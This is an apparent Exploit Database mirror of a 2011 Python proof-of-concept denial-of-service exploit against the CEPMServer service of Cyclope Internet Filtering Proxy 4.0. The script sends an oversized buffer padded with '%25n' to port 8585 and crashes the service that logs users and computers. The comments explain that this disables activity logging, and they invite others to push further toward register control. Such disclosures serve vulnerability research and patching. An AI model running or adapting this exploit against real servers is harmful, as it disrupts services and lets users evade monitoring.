Cyclope Internet Filtering Proxy 4.0 – ‘CEPMServer.exe’ Denial of Service (PoC)

• Exploit Database
• 13 阅读

• 作者： loneferret
  日期： 2011-10-21
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18017/

• #!/usr/bin/python
  
  # Title: Cyclope Internet Filtering Proxy 4.0 - CEPMServer.exe DoS (Poc).
  # From: The eh?-Team || The Great White Fuzz (we're not sure yet)
  # Found by: loneferret
  # Software link: http://www.cyclope-series.com/download/index.aspx?p=2
   
  # Date Found: Oct 20th 2011
  # Tested on: Windows XP SP3 Professional / Windows Server 2008 R2 Standard
  # Tested with: Registered and Unregistered versions
  # Nod to the Exploit-DB Team
  
  # The Cyclope Internet Filtering Proxy is your basic white & black list website navigation filtering app.
  # It will log all of the client's activities such as visited web sites, the time etc.
  # There's an optional client application if the administrator wishes to acquire the computer name and user
  # information.
  
  # The CEPMServer service is what logs user and computer name when one uses the optional client application.
  # This service is always on regardless of the client's use. So sending an abonormaly large string will cause a 
  # crash. It doesn't stop the filtering but it does stop it from logging usernames and computer names.
  # Seeing this application is pretty unstable, most often then not you need to re-install Cyclope completely
  # to have the logging feature to work again.
  
  # No registers are overwriten with this PoC, but it is possible to get ESI & EAX. Just throw SPIKE at it
  # and you'll get those 2 registers. I was just too lazy this morning to investigate so...
  
  # As always, if someone can make something more out of this PoC go right ahead.
  # Have fun,
  # loneferret
  
  
  import struct
  import socket
  
  junk = "%25n" * 100000
  
  buffer = "<user>loneferret" + junk + "</user><computer>machine</computer><ip>1.1.1.1</ip>\n"
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
  print "\nSending evil buffer..."
  s.connect(('xxx.xxx.xxx.xxx',8585)) #Enter Cyclope server IP address
  s.send(buffer)
  s.close()
  
  print "\nDone! "